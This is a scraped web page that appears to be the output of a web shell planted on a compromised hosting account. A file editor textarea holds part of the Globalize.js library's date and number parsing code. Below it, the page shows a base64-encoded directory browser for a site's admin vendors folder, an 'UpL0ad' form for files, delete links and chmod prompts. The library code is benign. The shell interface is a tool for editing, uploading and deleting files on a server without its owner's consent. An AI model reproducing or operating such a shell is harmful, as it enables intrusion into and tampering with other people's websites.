					add = &quot;(\\d\\d?)&quot;;
					break;
				case &quot;zzz&quot;:
					add = &quot;([+-]?\\d\\d?:\\d{2})&quot;;
					break;
				case &quot;zz&quot;: case &quot;z&quot;:
					add = &quot;([+-]?\\d\\d?)&quot;;
					break;
				case &quot;/&quot;:
					add = &quot;(\\/)&quot;;
					break;
				default:
					throw &quot;Invalid date format pattern \'&quot; + m + &quot;\'.&quot;;
			}
			if ( add ) {
				regexp.push( add );
			}
			groups.push( match[0] );
		}
		appendPreOrPostMatch( expFormat.slice(index), regexp );
		regexp.push( &quot;$&quot; );

		// allow whitespace to differ when matching formats.
		var regexpStr = regexp.join( &quot;&quot; ).replace( /\s+/g, &quot;\\s+&quot; ),
			parseRegExp = { &quot;regExp&quot;: regexpStr, &quot;groups&quot;: groups };

		// cache the regex for this format.
		return re[ format ] = parseRegExp;
	};

	outOfRange = function( value, low, high ) {
		return value &lt; low || value &gt; high;
	};

	toUpper = function( value ) {
		// &quot;he-IL&quot; has non-breaking space in weekday names.
		return value.split( &quot;\u00A0&quot; ).join( &quot; &quot; ).toUpperCase();
	};

	toUpperArray = function( arr ) {
		var results = [];
		for ( var i = 0, l = arr.length; i &lt; l; i++ ) {
			results[ i ] = toUpper( arr[i] );
		}
		return results;
	};

	parseExact = function( value, format, culture ) {
		// try to parse the date string by matching against the format string
		// while using the specified culture for date field names.
		value = trim( value );
		var cal = culture.calendar,
			// convert date formats into regular expressions with groupings.
			// use the regexp to determine the input format and extract the date fields.
			parseInfo = getParseRegExp( cal, format ),
			match = new RegExp( parseInfo.regExp ).exec( value );
		if ( match === null ) {
			return null;
		}
		// found a date format that matches the input.
		var groups = parseInfo.groups,
			era = null, year = null, month = null, date = null, weekDay = null,
			hour = 0, hourOffset, min = 0, sec = 0, msec = 0, tzMinOffset = null,
			pmHour = false;
		// iterate the format groups to extract and set the date fields.
		for ( var j = 0, jl = groups.length; j &lt; jl; j++ ) {
			var matchGroup = match[ j + 1 ];
			if ( matchGroup ) {
				var current = groups[ j ],
					clength = current.length,
					matchInt = parseInt( matchGroup, 10 );
				switch ( current ) {
					case &quot;dd&quot;: case &quot;d&quot;:
						// Day of month.
						date = matchInt;
						// check that date is generally in valid range, also checking overflow below.
						if ( outOfRange(date, 1, 31) ) return null;
						break;
					case &quot;MMM&quot;: case &quot;MMMM&quot;:
						month = getMonthIndex( cal, matchGroup, clength === 3 );
						if ( outOfRange(month, 0, 11) ) return null;
						break;
					case &quot;M&quot;: case &quot;MM&quot;:
						// Month.
						month = matchInt - 1;
						if ( outOfRange(month, 0, 11) ) return null;
						break;
					case &quot;y&quot;: case &quot;yy&quot;:
					case &quot;yyyy&quot;:
						year = clength &lt; 4 ? expandYear( cal, matchInt ) : matchInt;
						if ( outOfRange(year, 0, 9999) ) return null;
						break;
					case &quot;h&quot;: case &quot;hh&quot;:
						// Hours (12-hour clock).
						hour = matchInt;
						if ( hour === 12 ) hour = 0;
						if ( outOfRange(hour, 0, 11) ) return null;
						break;
					case &quot;H&quot;: case &quot;HH&quot;:
						// Hours (24-hour clock).
						hour = matchInt;
						if ( outOfRange(hour, 0, 23) ) return null;
						break;
					case &quot;m&quot;: case &quot;mm&quot;:
						// Minutes.
						min = matchInt;
						if ( outOfRange(min, 0, 59) ) return null;
						break;
					case &quot;s&quot;: case &quot;ss&quot;:
						// Seconds.
						sec = matchInt;
						if ( outOfRange(sec, 0, 59) ) return null;
						break;
					case &quot;tt&quot;: case &quot;t&quot;:
						// AM/PM designator.
						// see if it is standard, upper, or lower case PM. If not, ensure it is at least one of
						// the AM tokens. If not, fail the parse for this format.
						pmHour = cal.PM &amp;&amp; ( matchGroup === cal.PM[0] || matchGroup === cal.PM[1] || matchGroup === cal.PM[2] );
						if (
							!pmHour &amp;&amp; (
								!cal.AM || ( matchGroup !== cal.AM[0] &amp;&amp; matchGroup !== cal.AM[1] &amp;&amp; matchGroup !== cal.AM[2] )
							)
						) return null;
						break;
					case &quot;f&quot;:
						// Deciseconds.
					case &quot;ff&quot;:
						// Centiseconds.
					case &quot;fff&quot;:
						// Milliseconds.
						msec = matchInt * Math.pow( 10, 3 - clength );
						if ( outOfRange(msec, 0, 999) ) return null;
						break;
					case &quot;ddd&quot;:
						// Day of week.
					case &quot;dddd&quot;:
						// Day of week.
						weekDay = getDayIndex( cal, matchGroup, clength === 3 );
						if ( outOfRange(weekDay, 0, 6) ) return null;
						break;
					case &quot;zzz&quot;:
						// Time zone offset in +/- hours:min.
						var offsets = matchGroup.split( /:/ );
						if ( offsets.length !== 2 ) return null;
						hourOffset = parseInt( offsets[0], 10 );
						if ( outOfRange(hourOffset, -12, 13) ) return null;
						var minOffset = parseInt( offsets[1], 10 );
						if ( outOfRange(minOffset, 0, 59) ) return null;
						tzMinOffset = ( hourOffset * 60 ) + ( startsWith(matchGroup, &quot;-&quot;) ? -minOffset : minOffset );
						break;
					case &quot;z&quot;: case &quot;zz&quot;:
						// Time zone offset in +/- hours.
						hourOffset = matchInt;
						if ( outOfRange(hourOffset, -12, 13) ) return null;
						tzMinOffset = hourOffset * 60;
						break;
					case &quot;g&quot;: case &quot;gg&quot;:
						var eraName = matchGroup;
						if ( !eraName || !cal.eras ) return null;
						eraName = trim( eraName.toLowerCase() );
						for ( var i = 0, l = cal.eras.length; i &lt; l; i++ ) {
							if ( eraName === cal.eras[i].name.toLowerCase() ) {
								era = i;
								break;
							}
						}
						// could not find an era with that name
						if ( era === null ) return null;
						break;
				}
			}
		}
		var result = new Date(), defaultYear, convert = cal.convert;
		defaultYear = convert ? convert.fromGregorian( result )[ 0 ] : result.getFullYear();
		if ( year === null ) {
			year = defaultYear;
		}
		else if ( cal.eras ) {
			// year must be shifted to normal gregorian year
			// but not if year was not specified, its already normal gregorian
			// per the main if clause above.
			year += cal.eras[( era || 0 )].offset;
		}
		// set default day and month to 1 and January, so if unspecified, these are the defaults
		// instead of the current day/month.
		if ( month === null ) {
			month = 0;
		}
		if ( date === null ) {
			date = 1;
		}
		// now have year, month, and date, but in the culture's calendar.
		// convert to gregorian if necessary
		if ( convert ) {
			result = convert.toGregorian( year, month, date );
			// conversion failed, must be an invalid match
			if ( result === null ) return null;
		}
		else {
			// have to set year, month and date together to avoid overflow based on current date.
			result.setFullYear( year, month, date );
			// check to see if date overflowed for specified month (only checked 1-31 above).
			if ( result.getDate() !== date ) return null;
			// invalid day of week.
			if ( weekDay !== null &amp;&amp; result.getDay() !== weekDay ) {
				return null;
			}
		}
		// if pm designator token was found make sure the hours fit the 24-hour clock.
		if ( pmHour &amp;&amp; hour &lt; 12 ) {
			hour += 12;
		}
		result.setHours( hour, min, sec, msec );
		if ( tzMinOffset !== null ) {
			// adjust timezone to utc before applying local offset.
			var adjustedMin = result.getMinutes() - ( tzMinOffset + result.getTimezoneOffset() );
			// Safari limits hours and minutes to the range of -127 to 127.  We need to use setHours
			// to ensure both these fields will not exceed this range.	adjustedMin will range
			// somewhere between -1440 and 1500, so we only need to split this into hours.
			result.setHours( result.getHours() + parseInt(adjustedMin / 60, 10), adjustedMin % 60 );
		}
		return result;
	};
}());

parseNegativePattern = function( value, nf, negativePattern ) {
	var neg = nf[ &quot;-&quot; ],
		pos = nf[ &quot;+&quot; ],
		ret;
	switch ( negativePattern ) {
		case &quot;n -&quot;:
			neg = &quot; &quot; + neg;
			pos = &quot; &quot; + pos;
			/* falls through */
		case &quot;n-&quot;:
			if ( endsWith(value, neg) ) {
				ret = [ &quot;-&quot;, value.substr(0, value.length - neg.length) ];
			}
			else if ( endsWith(value, pos) ) {
				ret = [ &quot;+&quot;, value.substr(0, value.length - pos.length) ];
			}
			break;
		case &quot;- n&quot;:
			neg += &quot; &quot;;
			pos += &quot; &quot;;
			/* falls through */
		case &quot;-n&quot;:
			if ( startsWith(value, neg) ) {
				ret = [ &quot;-&quot;, value.substr(neg.length) ];
			}
			else if ( startsWith(value, pos) ) {
				ret = [ &quot;+&quot;, value.substr(pos.length) ];
			}
			break;
		case &quot;(n)&quot;:
			if ( startsWith(value, &quot;(&quot;) &amp;&amp; endsWith(value, &quot;)&quot;) ) {
				ret = [ &quot;-&quot;, value.substr(1, value.length - 2) ];
			}
			break;
	}
	return ret || [ &quot;&quot;, value ];
};

//
// public instance functions
//

Globalize.prototype.findClosestCulture = function( cultureSelector ) {
	return Globalize.findClosestCulture.call( this, cultureSelector );
};

Globalize.prototype.format = function( value, format, cultureSelector ) {
	return Globalize.format.call( this, value, format, cultureSelector );
};

Globalize.prototype.localize = function( key, cultureSelector ) {
	return Globalize.localize.call( this, key, cultureSelector );
};

Globalize.prototype.parseInt = function( value, radix, cultureSelector ) {
	return Globalize.parseInt.call( this, value, radix, cultureSelector );
};

Globalize.prototype.parseFloat = function( value, radix, cultureSelector ) {
	return Globalize.parseFloat.call( this, value, radix, cultureSelector );
};

Globalize.prototype.culture = function( cultureSelector ) {
	return Globalize.culture.call( this, cultureSelector );
};

//
// public singleton functions
//

Globalize.addCultureInfo = function( cultureName, baseCultureName, info ) {

	var base = {},
		isNew = false;

	if ( typeof cultureName !== &quot;string&quot; ) {
		// cultureName argument is optional string. If not specified, assume info is first
		// and only argument. Specified info deep-extends current culture.
		info = cultureName;
		cultureName = this.culture().name;
		base = this.cultures[ cultureName ];
	} else if ( typeof baseCultureName !== &quot;string&quot; ) {
		// baseCultureName argument is optional string. If not specified, assume info is second
		// argument. Specified info deep-extends specified culture.
		// If specified culture does not exist, create by deep-extending default
		info = baseCultureName;
		isNew = ( this.cultures[ cultureName ] == null );
		base = this.cultures[ cultureName ] || this.cultures[ &quot;default&quot; ];
	} else {
		// cultureName and baseCultureName specified. Assume a new culture is being created
		// by deep-extending an specified base culture
		isNew = true;
		base = this.cultures[ baseCultureName ];
	}

	this.cultures[ cultureName ] = extend(true, {},
		base,
		info
	);
	// Make the standard calendar the current culture if it's a new culture
	if ( isNew ) {
		this.cultures[ cultureName ].calendar = this.cultures[ cultureName ].calendars.standard;
	}
};

Globalize.findClosestCulture = function( name ) {
	var match;
	if ( !name ) {
		return this.findClosestCulture( this.cultureSelector ) || this.cultures[ &quot;default&quot; ];
	}
	if ( typeof name === &quot;string&quot; ) {
		name = name.split( &quot;,&quot; );
	}
	if ( isArray(name) ) {
		var lang,
			cultures = this.cultures,
			list = name,
			i, l = list.length,
			prioritized = [];
		for ( i = 0; i &lt; l; i++ ) {
			name = trim( list[i] );
			var pri, parts = name.split( &quot;;&quot; );
			lang = trim( parts[0] );
			if ( parts.length === 1 ) {
				pri = 1;
			}
			else {
				name = trim( parts[1] );
				if ( name.indexOf(&quot;q=&quot;) === 0 ) {
					name = name.substr( 2 );
					pri = parseFloat( name );
					pri = isNaN( pri ) ? 0 : pri;
				}
				else {
					pri = 1;
				}
			}
			prioritized.push({ lang: lang, pri: pri });
		}
		prioritized.sort(function( a, b ) {
			if ( a.pri &lt; b.pri ) {
				return 1;
			} else if ( a.pri &gt; b.pri ) {
				return -1;
			}
			return 0;
		});
		// exact match
		for ( i = 0; i &lt; l; i++ ) {
			lang = prioritized[ i ].lang;
			match = cultures[ lang ];
			if ( match ) {
				return match;
			}
		}

		// neutral language match
		for ( i = 0; i &lt; l; i++ ) {
			lang = prioritized[ i ].lang;
			do {
				var index = lang.lastIndexOf( &quot;-&quot; );
				if ( index === -1 ) {
					break;
				}
				// strip off the last part. e.g. en-US =&gt; en
				lang = lang.substr( 0, index );
				match = cultures[ lang ];
				if ( match ) {
					return match;
				}
			}
			while ( 1 );
		}

		// last resort: match first culture using that language
		for ( i = 0; i &lt; l; i++ ) {
			lang = prioritized[ i ].lang;
			for ( var cultureKey in cultures ) {
				var culture = cultures[ cultureKey ];
				if ( culture.language == lang ) {
					return culture;
				}
			}
		}
	}
	else if ( typeof name === &quot;object&quot; ) {
		return name;
	}
	return match || null;
};

Globalize.format = function( value, format, cultureSelector ) {
	var culture = this.findClosestCulture( cultureSelector );
	if ( value instanceof Date ) {
		value = formatDate( value, format, culture );
	}
	else if ( typeof value === &quot;number&quot; ) {
		value = formatNumber( value, format, culture );
	}
	return value;
};

Globalize.localize = function( key, cultureSelector ) {
	return this.findClosestCulture( cultureSelector ).messages[ key ] ||
		this.cultures[ &quot;default&quot; ].messages[ key ];
};

Globalize.parseDate = function( value, formats, culture ) {
	culture = this.findClosestCulture( culture );

	var date, prop, patterns;
	if ( formats ) {
		if ( typeof formats === &quot;string&quot; ) {
			formats = [ formats ];
		}
		if ( formats.length ) {
			for ( var i = 0, l = formats.length; i &lt; l; i++ ) {
				var format = formats[ i ];
				if ( format ) {
					date = parseExact( value, format, culture );
					if ( date ) {
						break;
					}
				}
			}
		}
	} else {
		patterns = culture.calendar.patterns;
		for ( prop in patterns ) {
			date = parseExact( value, patterns[prop], culture );
			if ( date ) {
				break;
			}
		}
	}

	return date || null;
};

Globalize.parseInt = function( value, radix, cultureSelector ) {
	return truncate( Globalize.parseFloat(value, radix, cultureSelector) );
};

Globalize.parseFloat = function( value, radix, cultureSelector ) {
	// radix argument is optional
	if ( typeof radix !== &quot;number&quot; ) {
		cultureSelector = radix;
		radix = 10;
	}

	var culture = this.findClosestCulture( cultureSelector );
	var ret = NaN,
		nf = culture.numberFormat;

	if ( value.indexOf(culture.numberFormat.currency.symbol) &gt; -1 ) {
		// remove currency symbol
		value = value.replace( culture.numberFormat.currency.symbol, &quot;&quot; );
		// replace decimal seperator
		value = value.replace( culture.numberFormat.currency[&quot;.&quot;], culture.numberFormat[&quot;.&quot;] );
	}

	//Remove percentage character from number string before parsing
	if ( value.indexOf(culture.numberFormat.percent.symbol) &gt; -1){
		value = value.replace( culture.numberFormat.percent.symbol, &quot;&quot; );
	}

	// remove spaces: leading, trailing and between - and number. Used for negative currency pt-BR
	value = value.replace( / /g, &quot;&quot; );

	// allow infinity or hexidecimal
	if ( regexInfinity.test(value) ) {
		ret = parseFloat( value );
	}
	else if ( !radix &amp;&amp; regexHex.test(value) ) {
		ret = parseInt( value, 16 );
	}
	else {

		// determine sign and number
		var signInfo = parseNegativePattern( value, nf, nf.pattern[0] ),
			sign = signInfo[ 0 ],
			num = signInfo[ 1 ];

		// #44 - try parsing as &quot;(n)&quot;
		if ( sign === &quot;&quot; &amp;&amp; nf.pattern[0] !== &quot;(n)&quot; ) {
			signInfo = parseNegativePattern( value, nf, &quot;(n)&quot; );
			sign = signInfo[ 0 ];
			num = signInfo[ 1 ];
		}

		// try parsing as &quot;-n&quot;
		if ( sign === &quot;&quot; &amp;&amp; nf.pattern[0] !== &quot;-n&quot; ) {
			signInfo = parseNegativePattern( value, nf, &quot;-n&quot; );
			sign = signInfo[ 0 ];
			num = signInfo[ 1 ];
		}

		sign = sign || &quot;+&quot;;

		// determine exponent and number
		var exponent,
			intAndFraction,
			exponentPos = num.indexOf( &quot;e&quot; );
		if ( exponentPos &lt; 0 ) exponentPos = num.indexOf( &quot;E&quot; );
		if ( exponentPos &lt; 0 ) {
			intAndFraction = num;
			exponent = null;
		}
		else {
			intAndFraction = num.substr( 0, exponentPos );
			exponent = num.substr( exponentPos + 1 );
		}
		// determine decimal position
		var integer,
			fraction,
			decSep = nf[ &quot;.&quot; ],
			decimalPos = intAndFraction.indexOf( decSep );
		if ( decimalPos &lt; 0 ) {
			integer = intAndFraction;
			fraction = null;
		}
		else {
			integer = intAndFraction.substr( 0, decimalPos );
			fraction = intAndFraction.substr( decimalPos + decSep.length );
		}
		// handle groups (e.g. 1,000,000)
		var groupSep = nf[ &quot;,&quot; ];
		integer = integer.split( groupSep ).join( &quot;&quot; );
		var altGroupSep = groupSep.replace( /\u00A0/g, &quot; &quot; );
		if ( groupSep !== altGroupSep ) {
			integer = integer.split( altGroupSep ).join( &quot;&quot; );
		}
		// build a natively parsable number string
		var p = sign + integer;
		if ( fraction !== null ) {
			p += &quot;.&quot; + fraction;
		}
		if ( exponent !== null ) {
			// exponent itself may have a number patternd
			var expSignInfo = parseNegativePattern( exponent, nf, &quot;-n&quot; );
			p += &quot;e&quot; + ( expSignInfo[0] || &quot;+&quot; ) + expSignInfo[ 1 ];
		}
		if ( regexParseFloat.test(p) ) {
			ret = parseFloat( p );
		}
	}
	return ret;
};

Globalize.culture = function( cultureSelector ) {
	// setter
	if ( typeof cultureSelector !== &quot;undefined&quot; ) {
		this.cultureSelector = cultureSelector;
	}
	// getter
	return this.findClosestCulture( cultureSelector ) || this.cultures[ &quot;default&quot; ];
};

}( this ));
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWw=">/home/mktssoci/public_html</a><hr>curdir: /home/mktssoci/creativeinstitution_in/admin/public/vendors/Flot/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>116</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&x=Z2xvYmFsaXplLmN1bHR1cmUuZW4tVVMuanM=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=Z2xvYmFsaXplLmN1bHR1cmUuZW4tVVMuanM="/>globalize.culture.en-US.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=Z2xvYmFsaXplLmN1bHR1cmUuZW4tVVMuanM=&c=`+btoa(c):0" value="0644"></td><td>753</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&x=Z2xvYmFsaXplLmpz">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=Z2xvYmFsaXplLmpz"/>globalize.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=Z2xvYmFsaXplLmpz&c=`+btoa(c):0" value="0644"></td><td>46030</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&x=anF1ZXJ5LmV2ZW50LmRyYWcuanM=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=anF1ZXJ5LmV2ZW50LmRyYWcuanM="/>jquery.event.drag.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=anF1ZXJ5LmV2ZW50LmRyYWcuanM=&c=`+btoa(c):0" value="0644"></td><td>6211</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&x=anF1ZXJ5Lm1vdXNld2hlZWwuanM=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=anF1ZXJ5Lm1vdXNld2hlZWwuanM="/>jquery.mousewheel.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg==&f=anF1ZXJ5Lm1vdXNld2hlZWwuanM=&c=`+btoa(c):0" value="0644"></td><td>2491</td></tr></table>